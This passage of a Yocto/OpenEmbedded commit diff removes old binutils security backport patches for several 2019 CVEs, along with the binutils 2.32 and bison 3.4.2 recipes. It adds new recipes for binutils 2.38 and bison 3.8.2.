- filename_ptr, linenumber_ptr))
- return FALSE;
-@@ -3175,7 +3174,7 @@ scan_unit_for_symbols (struct comp_unit *unit)
-
- case DW_AT_abstract_origin:
- case DW_AT_specification:
-- if (!find_abstract_instance (unit, info_ptr, &attr,
-+ if (!find_abstract_instance (unit, &attr, 0,
- &func->name,
- &func->is_linkage,
- &func->file,
---
-2.23.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/CVE-2019-17451.patch b/meta/recipes-devtools/binutils/binutils/CVE-2019-17451.patch
deleted file mode 100644
index b36a532668..0000000000
--- a/meta/recipes-devtools/binutils/binutils/CVE-2019-17451.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 0192438051a7e781585647d5581a2a6f62fda362 Mon Sep 17 00:00:00 2001
-From: Alan Modra <amodra@gmail.com>
-Date: Wed, 9 Oct 2019 10:47:13 +1030
-Subject: [PATCH] PR25070, SEGV in function _bfd_dwarf2_find_nearest_line
-
-Selectively backporting fix for bfd/dwarf2.c, but not the ChangeLog
-file. There are newer versions of binutils, but none of them contain the
-commit fixing CVE-2019-17451, so backport it to master and zeus.
-
-Upstream-Status: Backport
-[https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=336bfbeb1848]
-CVE: CVE-2019-17451
-Signed-off-by: Trevor Gamblin <trevor.gamblin@windriver.com>
-
-
-Evil testcase with two debug info sections, with sizes of 2aaaabac4ec1
-and ffffd5555453b140 result in a total size of 1. Reading the first
-section of course overflows the buffer and tramples on other memory.
-
- PR 25070
- * dwarf2.c (_bfd_dwarf2_slurp_debug_info): Catch overflow of
- total_size calculation.
----
- bfd/dwarf2.c | 11 ++++++++++-
- 1 file changed, 10 insertions(+), 1 deletion(-)
-
-diff --git a/bfd/dwarf2.c b/bfd/dwarf2.c
-index 0b4e485582..a91597b1d0 100644
---- a/bfd/dwarf2.c
-+++ b/bfd/dwarf2.c
-@@ -4426,7 +4426,16 @@ _bfd_dwarf2_slurp_debug_info (bfd *abfd, bfd *debug_bfd,
- for (total_size = 0;
- msec;
- msec = find_debug_info (debug_bfd, debug_sections, msec))
-- total_size += msec->size;
-+ {
-+ /* Catch PR25070 testcase overflowing size calculation here. */
-+ if (total_size + msec->size < total_size
-+ || total_size + msec->size < msec->size)
-+ {
-+ bfd_set_error (bfd_error_no_memory);
-+ return FALSE;
-+ }
-+ total_size += msec->size;
-+ }
-
- stash->info_ptr_memory = (bfd_byte *) bfd_malloc (total_size);
- if (stash->info_ptr_memory == NULL)
---
-2.23.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/CVE-2019-9071.patch b/meta/recipes-devtools/binutils/binutils/CVE-2019-9071.patch
deleted file mode 100644
index f02539942f..0000000000
--- a/meta/recipes-devtools/binutils/binutils/CVE-2019-9071.patch
+++ /dev/null
@@ -1,165 +0,0 @@
-From c1202057eb9161a86af27d867703235fee7b7555 Mon Sep 17 00:00:00 2001
-From: Nick Clifton <nickc@redhat.com>
-Date: Wed, 10 Apr 2019 15:49:36 +0100
-Subject: [PATCH] Pull in patch for libiberty that fixes a stack exhaustion bug
- when demangling a pathalogically constructed mangled name.
-
- PR 89394
- * cp-demangle.c (cplus_demangle_fill_name): Reject negative
- lengths.
- (d_count_templates_scopes): Replace num_templates and num_scopes
- parameters with a struct d_print_info pointer parameter. Adjust
- body of the function accordingly. Add recursion counter and check
- that the recursion limit is not reached.
- (d_print_init): Pass dpi parameter to d_count_templates_scopes.
- Reset recursion counter afterwards, unless the recursion limit was
- reached.
-
-CVE: CVE-2019-9071
-CVE: CVE-2019-9070
-Upstream-Status: Backport
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- ChangeLog | 16 ++++++++++++++
- libiberty/cp-demangle.c | 48 ++++++++++++++++++++++-------------------
- 2 files changed, 42 insertions(+), 22 deletions(-)
-
-diff --git a/ChangeLog b/ChangeLog
-index cd631a15b6..4df3aaa62c 100644
---- a/ChangeLog
-+++ b/ChangeLog
-@@ -1,3 +1,19 @@
-+2019-04-10 Nick Clifton <nickc@redhat.com>
-+
-+ * libiberty: Sync with gcc. Bring in:
-+ 2019-04-10 Nick Clifton <nickc@redhat.com>
-+
-+ PR 89394
-+ * cp-demangle.c (cplus_demangle_fill_name): Reject negative
-+ lengths.
-+ (d_count_templates_scopes): Replace num_templates and num_scopes
-+ parameters with a struct d_print_info pointer parameter. Adjust
-+ body of the function accordingly. Add recursion counter and check
-+ that the recursion limit is not reached.
-+ (d_print_init): Pass dpi parameter to d_count_templates_scopes.
-+ Reset recursion counter afterwards, unless the recursion limit was
-+ reached.
-+
- 2018-06-24 Nick Clifton <nickc@redhat.com>
-
- 2.32 branch created.
-diff --git a/libiberty/cp-demangle.c b/libiberty/cp-demangle.c
-index b34b485692..779b4e763a 100644
---- a/libiberty/cp-demangle.c
-+++ b/libiberty/cp-demangle.c
-@@ -861,7 +861,7 @@ CP_STATIC_IF_GLIBCPP_V3
- int
- cplus_demangle_fill_name (struct demangle_component *p, const char *s, int len)
- {
-- if (p == NULL || s == NULL || len == 0)
-+ if (p == NULL || s == NULL || len <= 0)
- return 0;
- p->d_printing = 0;
- p->type = DEMANGLE_COMPONENT_NAME;
-@@ -4061,7 +4061,7 @@ d_growable_string_callback_adapter (const char *s, size_t l, void *opaque)
- are larger than the actual numbers encountered. */
-
- static void
--d_count_templates_scopes (int *num_templates, int *num_scopes,
-+d_count_templates_scopes (struct d_print_info *dpi,
- const struct demangle_component *dc)
- {
- if (dc == NULL)
-@@ -4081,13 +4081,13 @@ d_count_templates_scopes (int *num_templates, int *num_scopes,
- break;
-
- case DEMANGLE_COMPONENT_TEMPLATE:
-- (*num_templates)++;
-+ dpi->num_copy_templates++;
- goto recurse_left_right;
-
- case DEMANGLE_COMPONENT_REFERENCE:
- case DEMANGLE_COMPONENT_RVALUE_REFERENCE:
- if (d_left (dc)->type == DEMANGLE_COMPONENT_TEMPLATE_PARAM)
-- (*num_scopes)++;
-+ dpi->num_saved_scopes++;
- goto recurse_left_right;
-
- case DEMANGLE_COMPONENT_QUAL_NAME:
-@@ -4152,42 +4152,42 @@ d_count_templates_scopes (int *num_templates, int *num_scopes,
- case DEMANGLE_COMPONENT_TAGGED_NAME:
- case DEMANGLE_COMPONENT_CLONE:
- recurse_left_right:
-- d_count_templates_scopes (num_templates, num_scopes,
-- d_left (dc));
-- d_count_templates_scopes (num_templates, num_scopes,
-- d_right (dc));
-+ /* PR 89394 - Check for too much recursion. */
-+ if (dpi->recursion > DEMANGLE_RECURSION_LIMIT)
-+ /* FIXME: There ought to be a way to report to the
-+ user that the recursion limit has been reached. */
-+ return;
-+
-+ ++ dpi->recursion;
-+ d_count_templates_scopes (dpi, d_left (dc));
-+ d_count_templates_scopes (dpi, d_right (dc));
-+ -- dpi->recursion;
- break;
-
- case DEMANGLE_COMPONENT_CTOR:
-- d_count_templates_scopes (num_templates, num_scopes,
-- dc->u.s_ctor.name);
-+ d_count_templates_scopes (dpi, dc->u.s_ctor.name);
- break;
-
- case DEMANGLE_COMPONENT_DTOR:
-- d_count_templates_scopes (num_templates, num_scopes,
-- dc->u.s_dtor.name);
-+ d_count_templates_scopes (dpi, dc->u.s_dtor.name);
- break;
-
- case DEMANGLE_COMPONENT_EXTENDED_OPERATOR:
-- d_count_templates_scopes (num_templates, num_scopes,
-- dc->u.s_extended_operator.name);
-+ d_count_templates_scopes (dpi, dc->u.s_extended_operator.name);
- break;
-
- case DEMANGLE_COMPONENT_FIXED_TYPE:
-- d_count_templates_scopes (num_templates, num_scopes,
-- dc->u.s_fixed.length);
-+ d_count_templates_scopes (dpi, dc->u.s_fixed.length);
- break;
-
- case DEMANGLE_COMPONENT_GLOBAL_CONSTRUCTORS:
- case DEMANGLE_COMPONENT_GLOBAL_DESTRUCTORS:
-- d_count_templates_scopes (num_templates, num_scopes,
-- d_left (dc));
-+ d_count_templates_scopes (dpi, d_left (dc));
- break;
-
- case DEMANGLE_COMPONENT_LAMBDA:
- case DEMANGLE_COMPONENT_DEFAULT_ARG:
-- d_count_templates_scopes (num_templates, num_scopes,
-- dc->u.s_unary_num.sub);
-+ d_count_templates_scopes (dpi, dc->u.s_unary_num.sub);
- break;
- }
- }
-@@ -4222,8 +4222,12 @@ d_print_init (struct d_print_info *dpi, demangle_callbackref callback,
- dpi->next_copy_template = 0;
- dpi->num_copy_templates = 0;
-
-- d_count_templates_scopes (&dpi->num_copy_templates,
-- &dpi->num_saved_scopes, dc);
-+ d_count_templates_scopes (dpi, dc);
-+ /* If we did not reach the recursion limit, then reset the
-+ current recursion value back to 0, so that we can print
-+ the templates. */
-+ if (dpi->recursion < DEMANGLE_RECURSION_LIMIT)
-+ dpi->recursion = 0;
- dpi->num_copy_templates *= dpi->num_saved_scopes;
-
- dpi->current_template = NULL;
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/CVE-2019-9074.patch b/meta/recipes-devtools/binutils/binutils/CVE-2019-9074.patch
deleted file mode 100644
index a11a51200e..0000000000
--- a/meta/recipes-devtools/binutils/binutils/CVE-2019-9074.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From e2ebb3906432dcca2727186ad79415f920730fb2 Mon Sep 17 00:00:00 2001
-From: Alan Modra <amodra@gmail.com>
-Date: Tue, 19 Feb 2019 22:48:44 +1030
-Subject: [PATCH] PR24235, Read memory violation in pei-x86_64.c
-
- PR 24235
- * pei-x86_64.c (pex64_bfd_print_pdata_section): Correct checks
- attempting to prevent read past end of section.
-
-Upstream-Status: Backport [https://github.com/bminor/binutils-gdb/commit/179f2db0d9c397d7dd8a59907b84208b79f7f48c]
-CVE: CVE-2019-9074
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- bfd/ChangeLog | 6 ++++++
- bfd/pei-x86_64.c | 9 ++++-----
- 2 files changed, 10 insertions(+), 5 deletions(-)
-
-diff --git a/bfd/ChangeLog b/bfd/ChangeLog
-index dd2c741..cbf30de 100644
---- a/bfd/ChangeLog
-+++ b/bfd/ChangeLog
-@@ -1,3 +1,9 @@
-+2019-02-19 Alan Modra <amodra@gmail.com>
-+
-+ PR 24235
-+ * pei-x86_64.c (pex64_bfd_print_pdata_section): Correct checks
-+ attempting to prevent read past end of section.
-+
- 2019-02-04 Nick Clifton <nickc@redhat.com>
-
- * development.sh (experimental) Set to false.
-diff --git a/bfd/pei-x86_64.c b/bfd/pei-x86_64.c
-index ff1093c..7e75104 100644
---- a/bfd/pei-x86_64.c
-+++ b/bfd/pei-x86_64.c
-@@ -541,7 +541,7 @@ pex64_bfd_print_pdata_section (bfd *abfd, void *vfile, asection *pdata_section)
- /* virt_size might be zero for objects. */
- if (stop == 0 && strcmp (abfd->xvec->name, "pe-x86-64") == 0)
- {
-- stop = (datasize / onaline) * onaline;
-+ stop = datasize;
- virt_size_is_zero = TRUE;
- }
- else if (datasize < stop)
-@@ -551,8 +551,8 @@ pex64_bfd_print_pdata_section (bfd *abfd, void *vfile, asection *pdata_section)
- _("Warning: %s section size (%ld) is smaller than virtual size (%ld)\n"),
- pdata_section->name, (unsigned long) datasize,
- (unsigned long) stop);
-- /* Be sure not to read passed datasize. */
-- stop = datasize / onaline;
-+ /* Be sure not to read past datasize. */
-+ stop = datasize;
- }
-
- /* Display functions table. */
-@@ -724,8 +724,7 @@ pex64_bfd_print_pdata_section (bfd *abfd, void *vfile, asection *pdata_section)
- altent += imagebase;
-
- if (altent >= pdata_vma
-- && (altent + PDATA_ROW_SIZE <= pdata_vma
-- + pei_section_data (abfd, pdata_section)->virt_size))
-+ && altent - pdata_vma + PDATA_ROW_SIZE <= stop)
- {
- pex64_get_runtime_function
- (abfd, &arf, &pdata[altent - pdata_vma]);
---
-2.7.4
-
diff --git a/meta/recipes-devtools/binutils/binutils/CVE-2019-9075.patch b/meta/recipes-devtools/binutils/binutils/CVE-2019-9075.patch
deleted file mode 100644
index bcb1310f16..0000000000
--- a/meta/recipes-devtools/binutils/binutils/CVE-2019-9075.patch
+++ /dev/null
@@ -1,119 +0,0 @@
-From 8abac8031ed369a2734b1cdb7df28a39a54b4b49 Mon Sep 17 00:00:00 2001
-From: Alan Modra <amodra@gmail.com>
-Date: Wed, 20 Feb 2019 08:21:24 +1030
-Subject: [PATCH] PR24236, Heap buffer overflow in
- _bfd_archive_64_bit_slurp_armap
-
- PR 24236
- * archive64.c (_bfd_archive_64_bit_slurp_armap): Move code adding
- sentinel NUL to string buffer nearer to loop where it is used.
- Don't go past sentinel when scanning strings, and don't write
- NUL again.
- * archive.c (do_slurp_coff_armap): Simplify string handling to
- archive64.c style.
-
-Upstream-Status: Backport [https://github.com/bminor/binutils-gdb/commit/8abac8031ed369a2734b1cdb7df28a39a54b4b49]
-CVE: CVE-2019-9075
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- bfd/ChangeLog | 10 ++++++++++
- bfd/archive.c | 17 +++++++----------
- bfd/archive64.c | 10 +++++-----
- 3 files changed, 22 insertions(+), 15 deletions(-)
-
-diff --git a/bfd/ChangeLog b/bfd/ChangeLog
-index 72c87c7..e39bb12 100644
---- a/bfd/ChangeLog
-+++ b/bfd/ChangeLog
-@@ -1,3 +1,13 @@
-+2019-02-20 Alan Modra <amodra@gmail.com>
-+
-+ PR 24236
-+ * archive64.c (_bfd_archive_64_bit_slurp_armap): Move code adding
-+ sentinel NUL to string buffer nearer to loop where it is used.
-+ Don't go past sentinel when scanning strings, and don't write
-+ NUL again.
-+ * archive.c (do_slurp_coff_armap): Simplify string handling to
-+ archive64.c style.
-+
- 2019-02-19 Alan Modra <amodra@gmail.com>
-
- PR 24235
-diff --git a/bfd/archive.c b/bfd/archive.c
-index d2d9b72..68a92a3 100644
---- a/bfd/archive.c
-+++ b/bfd/archive.c
-@@ -1012,6 +1012,7 @@ do_slurp_coff_armap (bfd *abfd)
- int *raw_armap, *rawptr;
- struct artdata *ardata = bfd_ardata (abfd);
- char *stringbase;
-+ char *stringend;
- bfd_size_type stringsize;
- bfd_size_type parsed_size;
- carsym *carsyms;
-@@ -1071,22 +1072,18 @@ do_slurp_coff_armap (bfd *abfd)
- }
-
- /* OK, build the carsyms. */
-- for (i = 0; i < nsymz && stringsize > 0; i++)
-+ stringend = stringbase + stringsize;
-+ *stringend = 0;
-+ for (i = 0; i < nsymz; i++)
- {
-- bfd_size_type len;
--
- rawptr = raw_armap + i;
- carsyms->file_offset = swap ((bfd_byte *) rawptr);
- carsyms->name = stringbase;
-- /* PR 17512: file: 4a1d50c1. */
-- len = strnlen (stringbase, stringsize);
-- if (len < stringsize)
-- len ++;
-- stringbase += len;
-- stringsize -= len;
-+ stringbase += strlen (stringbase);
-+ if (stringbase != stringend)
-+ ++stringbase;
- carsyms++;
- }
-- *stringbase = 0;
-
- ardata->symdef_count = nsymz;
- ardata->first_file_filepos = bfd_tell (abfd);
-diff --git a/bfd/archive64.c b/bfd/archive64.c
-index 312bf82..42f6ed9 100644
---- a/bfd/archive64.c
-+++ b/bfd/archive64.c
-@@ -100,8 +100,6 @@ _bfd_archive_64_bit_slurp_armap (bfd *abfd)
- return FALSE;
- carsyms = ardata->symdefs;
- stringbase = ((char *) ardata->symdefs) + carsym_size;
-- stringbase[stringsize] = 0;
-- stringend = stringbase + stringsize;
-
- raw_armap = (bfd_byte *) bfd_alloc (abfd, ptrsize);
- if (raw_armap == NULL)
-@@ -115,15 +113,17 @@ _bfd_archive_64_bit_slurp_armap (bfd *abfd)
- goto release_raw_armap;
- }
-
-+ stringend = stringbase + stringsize;
-+ *stringend = 0;
- for (i = 0; i < nsymz; i++)
- {
- carsyms->file_offset = bfd_getb64 (raw_armap + i * 8);
- carsyms->name = stringbase;
-- if (stringbase < stringend)
-- stringbase += strlen (stringbase) + 1;
-+ stringbase += strlen (stringbase);
-+ if (stringbase != stringend)
-+ ++stringbase;
- ++carsyms;
- }
-- *stringbase = '\0';
-
- ardata->symdef_count = nsymz;
- ardata->first_file_filepos = bfd_tell (abfd);
---
-2.7.4
-
diff --git a/meta/recipes-devtools/binutils/binutils/CVE-2019-9076.patch b/meta/recipes-devtools/binutils/binutils/CVE-2019-9076.patch
deleted file mode 100644
index ec8cde2503..0000000000
--- a/meta/recipes-devtools/binutils/binutils/CVE-2019-9076.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 9f841c583880eb6d0194455c1583a766f853e628 Mon Sep 17 00:00:00 2001
-From: Alan Modra <amodra@gmail.com>
-Date: Wed, 20 Feb 2019 12:06:31 +1030
-Subject: [PATCH] PR24233, Out of memory
-
- PR 24233
- * objdump.c (dump_bfd_private_header): Print warning if
- bfd_print_private_bfd_data returns false.
-
-Upstream-Status: Backport [https://github.com/bminor/binutils-gdb/commit/7d272a55caebfc26ab2e15d1e9439bac978b9bb7]
-CVE: CVE-2019-9076
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- binutils/ChangeLog | 6 ++++++
- binutils/objdump.c | 4 +++-
- 2 files changed, 9 insertions(+), 1 deletion(-)
-
-diff --git a/binutils/ChangeLog b/binutils/ChangeLog
-index f837c37..d5dd7cb 100644
---- a/binutils/ChangeLog
-+++ b/binutils/ChangeLog
-@@ -1,3 +1,9 @@
-+2019-02-20 Alan Modra <amodra@gmail.com>
-+
-+ PR 24233
-+ * objdump.c (dump_bfd_private_header): Print warning if
-+ bfd_print_private_bfd_data returns false.
-+
- 2019-02-02 Nick Clifton <nickc@redhat.com>
-
- * configure: Regenerate.
-diff --git a/binutils/objdump.c b/binutils/objdump.c
-index 8725390..7d0c6a4 100644
---- a/binutils/objdump.c
-+++ b/binutils/objdump.c
-@@ -3178,7 +3178,9 @@ dump_bfd_header (bfd *abfd)
- static void
- dump_bfd_private_header (bfd *abfd)
- {
-- bfd_print_private_bfd_data (abfd, stdout);
-+ if (!bfd_print_private_bfd_data (abfd, stdout))
-+ non_fatal (_("warning: private headers incomplete: %s"),
-+ bfd_errmsg (bfd_get_error ()));
- }
-
- static void
---
-2.7.4
-
diff --git a/meta/recipes-devtools/binutils/binutils/CVE-2019-9077.patch b/meta/recipes-devtools/binutils/binutils/CVE-2019-9077.patch
deleted file mode 100644
index 11ecb71b2e..0000000000
--- a/meta/recipes-devtools/binutils/binutils/CVE-2019-9077.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From f7bbc8890de45df6eda0ddef5dd04f835f54eecf Mon Sep 17 00:00:00 2001
-From: Nick Clifton <nickc@redhat.com>
-Date: Wed, 20 Feb 2019 17:03:47 +0000
-Subject: [PATCH] Fix a illegal memory access fault when parsing a corrupt MIPS
- option section using readelf.
-
- PR 24243
- * readelf.c (process_mips_specific): Check for an options section
- that is too small to even contain a single option.
-
-Upstream-Status: Backport [https://github.com/bminor/binutils-gdb/commit/7fc0c668f2aceb8582d74db1ad2528e2bba8a921]
-CVE: CVE-2019-9077
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- binutils/readelf.c | 6 ++++++
- 1 file changed, 6 insertions(+)
-
-diff --git a/binutils/readelf.c b/binutils/readelf.c
-index 9df3742..18ab806 100644
---- a/binutils/readelf.c
-+++ b/binutils/readelf.c
-@@ -16179,6 +16179,12 @@ process_mips_specific (Filedata * filedata)
- error (_("No MIPS_OPTIONS header found\n"));
- return FALSE;
- }
-+ /* PR 24243 */
-+ if (sect->sh_size < sizeof (* eopt))
-+ {
-+ error (_("The MIPS options section is too small.\n"));
-+ return FALSE;
-+ }
-
- eopt = (Elf_External_Options *) get_data (NULL, filedata, options_offset, 1,
- sect->sh_size, _("options"));
---
-2.7.4
-
diff --git a/meta/recipes-devtools/binutils/binutils_2.32.bb b/meta/recipes-devtools/binutils/binutils_2.32.bb
deleted file mode 100644
index 89315915c4..0000000000
--- a/meta/recipes-devtools/binutils/binutils_2.32.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-require binutils.inc
-require binutils-${PV}.inc
-
-DEPENDS += "flex bison zlib"
-
-EXTRA_OECONF += "--with-sysroot=/ \
- --enable-install-libbfd \
- --enable-install-libiberty \
- --enable-shared \
- --with-system-zlib \
- "
-
-EXTRA_OEMAKE_append_libc-musl = "\
- gt_cv_func_gnugettext1_libc=yes \
- gt_cv_func_gnugettext2_libc=yes \
- "
-EXTRA_OECONF_class-native = "--enable-targets=all \
- --enable-64-bit-bfd \
- --enable-install-libiberty \
- --enable-install-libbfd \
- --disable-werror"
-
-# gcc9.0 end up mis-compiling libbfd.so with O2 which then crashes on target
-# So remove -O2 and use -Os as workaround
-SELECTED_OPTIMIZATION_remove_mipsarch = "-O2"
-SELECTED_OPTIMIZATION_append_mipsarch = " -Os"
-
-do_install_class-native () {
- autotools_do_install
-
- # Install the libiberty header
- install -d ${D}${includedir}
- install -m 644 ${S}/include/ansidecl.h ${D}${includedir}
- install -m 644 ${S}/include/libiberty.h ${D}${includedir}
-
- # We only want libiberty, libbfd and libopcodes
- rm -rf ${D}${bindir}
- rm -rf ${D}${prefix}/${TARGET_SYS}
- rm -rf ${D}${prefix}/lib/ldscripts
- rm -rf ${D}${prefix}/share/info
- rm -rf ${D}${prefix}/share/locale
- rm -rf ${D}${prefix}/share/man
- rmdir ${D}${prefix}/share || :
- rmdir ${D}/${libdir}/gcc-lib || :
- rmdir ${D}/${libdir}64/gcc-lib || :
- rmdir ${D}/${libdir} || :
- rmdir ${D}/${libdir}64 || :
-}
-
-# Split out libbfd-*.so so including perf doesn't include extra stuff
-PACKAGE_BEFORE_PN += "libbfd"
-FILES_libbfd = "${libdir}/libbfd-*.so"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-devtools/binutils/binutils_2.38.bb b/meta/recipes-devtools/binutils/binutils_2.38.bb
new file mode 100644
index 0000000000..12a6fb5577
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils_2.38.bb
@@ -0,0 +1,69 @@
+require binutils.inc
+require binutils-${PV}.inc
+
+DEPENDS += "zlib"
+
+EXTRA_OECONF += "--with-sysroot=/ \
+ --enable-install-libbfd \
+ --enable-install-libiberty \
+ --enable-shared \
+ --with-system-zlib \
+ "
+
+EXTRA_OEMAKE:append:libc-musl = "\
+ gt_cv_func_gnugettext1_libc=yes \
+ gt_cv_func_gnugettext2_libc=yes \
+ "
+EXTRA_OECONF:class-native = "--enable-targets=all \
+ --enable-64-bit-bfd \
+ --enable-install-libiberty \
+ --enable-install-libbfd \
+ --disable-gdb \
+ --disable-gdbserver \
+ --disable-libdecnumber \
+ --disable-readline \
+ --disable-sim \
+ --disable-werror"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)}"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod, elfutils"
+
+do_install:class-native () {
+ autotools_do_install
+
+ # Install the libiberty header
+ install -d ${D}${includedir}
+ install -m 644 ${S}/include/ansidecl.h ${D}${includedir}
+ install -m 644 ${S}/include/libiberty.h ${D}${includedir}
+
+ # We only want libiberty, libbfd and libopcodes
+ rm -rf ${D}${bindir}
+ rm -rf ${D}${prefix}/${TARGET_SYS}
+ rm -rf ${D}${prefix}/lib/ldscripts
+ rm -rf ${D}${prefix}/share/info
+ rm -rf ${D}${prefix}/share/locale
+ rm -rf ${D}${prefix}/share/man
+ rmdir ${D}${prefix}/share || :
+ rmdir ${D}/${libdir}/gcc-lib || :
+ rmdir ${D}/${libdir}64/gcc-lib || :
+ rmdir ${D}/${libdir} || :
+ rmdir ${D}/${libdir}64 || :
+}
+
+# libctf races with libbfd
+PARALLEL_MAKEINST:class-target = ""
+PARALLEL_MAKEINST:class-nativesdk = ""
+
+# Split out libbfd-*.so and libopcodes-*.so so including perf doesn't include
+# extra stuff
+PACKAGE_BEFORE_PN += "libbfd libopcodes"
+FILES:libbfd = "${libdir}/libbfd-*.so.* ${libdir}/libbfd-*.so"
+FILES:libopcodes = "${libdir}/libopcodes-*.so.* ${libdir}/libopcodes-*.so"
+
+SRC_URI:append:class-nativesdk = " file://0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch "
+
+USE_ALTERNATIVES_FOR:class-nativesdk = ""
+FILES:${PN}:append:class-nativesdk = " ${bindir}"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-devtools/bison/bison/dont-depend-on-help2man.patch.patch b/meta/recipes-devtools/bison/bison/dont-depend-on-help2man.patch.patch
deleted file mode 100644
index 8a41a3a762..0000000000
--- a/meta/recipes-devtools/bison/bison/dont-depend-on-help2man.patch.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 31bb81ef15c42b10844eb8af8738f672076edf0e Mon Sep 17 00:00:00 2001
-From: Marko Lindqvist <cazfi74@gmail.com>
-Date: Tue, 21 Apr 2015 00:48:45 -0700
-Subject: [PATCH] doc/local.mk: dont-depend-on-help2man.patch
-
-Upstream-Status: Inappropriate
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-
-Updated for bison 3.0.4
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- doc/local.mk | 9 +--------
- 1 file changed, 1 insertion(+), 8 deletions(-)
-
-diff --git a/doc/local.mk b/doc/local.mk
-index d12836e..f9bf332 100644
---- a/doc/local.mk
-+++ b/doc/local.mk
-@@ -101,10 +101,7 @@ endif ! CROSS_COMPILING
- ## Man Pages. ##
- ## ----------- ##
-
--dist_man_MANS = $(top_srcdir)/doc/bison.1
--
--EXTRA_DIST += $(dist_man_MANS:.1=.x)
--MAINTAINERCLEANFILES += $(dist_man_MANS)
-+EXTRA_DIST += bison.x
-
- # Differences to ignore when comparing the man page (the date).
- remove_time_stamp = \
-@@ -127,10 +124,6 @@ $(top_srcdir)/doc/bison.1: $(MAN_DEPS)
- fi
- $(AM_V_at)rm -f $@*.tmp
-
--if ENABLE_YACC
--nodist_man_MANS = doc/yacc.1
--endif
--
- ## ----------------------------- ##
- ## Graphviz examples generation. ##
- ## ----------------------------- ##
diff --git a/meta/recipes-devtools/bison/bison_3.4.2.bb b/meta/recipes-devtools/bison/bison_3.4.2.bb
deleted file mode 100644
index 46f0f908dd..0000000000
--- a/meta/recipes-devtools/bison/bison_3.4.2.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "GNU Project parser generator (yacc replacement)"
-DESCRIPTION = "Bison is a general-purpose parser generator that converts an annotated context-free grammar into \
-an LALR(1) or GLR parser for that grammar. Bison is upward compatible with Yacc: all properly-written Yacc \
-grammars ought to work with Bison with no change. Anyone familiar with Yacc should be able to use Bison with \
-little trouble."
-HOMEPAGE = "http://www.gnu.org/software/bison/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-SECTION = "devel"
-DEPENDS = "bison-native flex-native"
-
-SRC_URI = "${GNU_MIRROR}/bison/bison-${PV}.tar.xz \
- file://dont-depend-on-help2man.patch.patch \
- file://add-with-bisonlocaledir.patch \
-"
-
-# No point in hardcoding path to m4, just use PATH
-EXTRA_OECONF += "M4=m4"
-
-SRC_URI[md5sum] = "d1ceb9dfde2d03b24a4c1137f7f1b572"
-SRC_URI[sha256sum] = "27d05534699735dc69e86add5b808d6cb35900ad3fd63fa82e3eb644336abfa0"
-
-inherit autotools gettext texinfo
-
-# The automatic m4 path detection gets confused, so force the right value
-acpaths = "-I ${S}/m4"
-
-do_compile_prepend() {
- for i in mfcalc calc++ rpcalc; do mkdir -p ${B}/examples/$i; done
-}
-
-do_install_append_class-native() {
- create_wrapper ${D}/${bindir}/bison \
- BISON_PKGDATADIR=${STAGING_DATADIR_NATIVE}/bison
-}
-do_install_append_class-nativesdk() {
- create_wrapper ${D}/${bindir}/bison \
- BISON_PKGDATADIR=${datadir}/bison
-}
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/bison/bison_3.8.2.bb b/meta/recipes-devtools/bison/bison_3.8.2.bb
new file mode 100644
index 0000000000..c95f321244
--- /dev/null
+++ b/meta/recipes-devtools/bison/bison_3.8.2.bb
@@ -0,0 +1,54 @@
+SUMMARY = "GNU Project parser generator (yacc replacement)"
+DESCRIPTION = "Bison is a general-purpose parser generator that converts an annotated context-free grammar into \
+an LALR(1) or GLR parser for that grammar. Bison is upward compatible with Yacc: all properly-written Yacc \
+grammars ought to work with Bison with no change. Anyone familiar with Yacc should be able to use Bison with \
+little trouble."
+HOMEPAGE = "http://www.gnu.org/software/bison/"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+SECTION = "devel"
+DEPENDS = "bison-native flex-native"
+
+SRC_URI = "${GNU_MIRROR}/bison/bison-${PV}.tar.xz \
+ file://add-with-bisonlocaledir.patch \
+ "
+SRC_URI[sha256sum] = "9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2"
+
+inherit autotools gettext texinfo
+
+# No point in hardcoding path to m4, just use PATH
+CACHED_CONFIGUREVARS = "ac_cv_path_M4=m4"
+
+PACKAGECONFIG ??= "readline ${@ 'textstyle' if d.getVar('USE_NLS') == 'yes' else ''}"
+PACKAGECONFIG:class-native ??= ""
+
+# Make readline and textstyle optional. There are recipie for these, but leave them
+# disabled for the native recipe. This prevents host contamination of the native tool.
+PACKAGECONFIG[readline] = "--with-libreadline-prefix,--without-libreadline-prefix,readline"
+PACKAGECONFIG[textstyle] = "--with-libtextstyle-prefix,--without-libtextstyle-prefix,gettext"
+
+# Include the cached configure variables, configure is really good at finding
+# libreadline, even if we don't want it.
+CACHED_CONFIGUREVARS += "${@bb.utils.contains('PACKAGECONFIG', 'readline', '', ' \
+ ac_cv_header_readline_history_h=no \
+ ac_cv_header_readline_readline_h=no \
+ gl_cv_lib_readline=no', d)} \
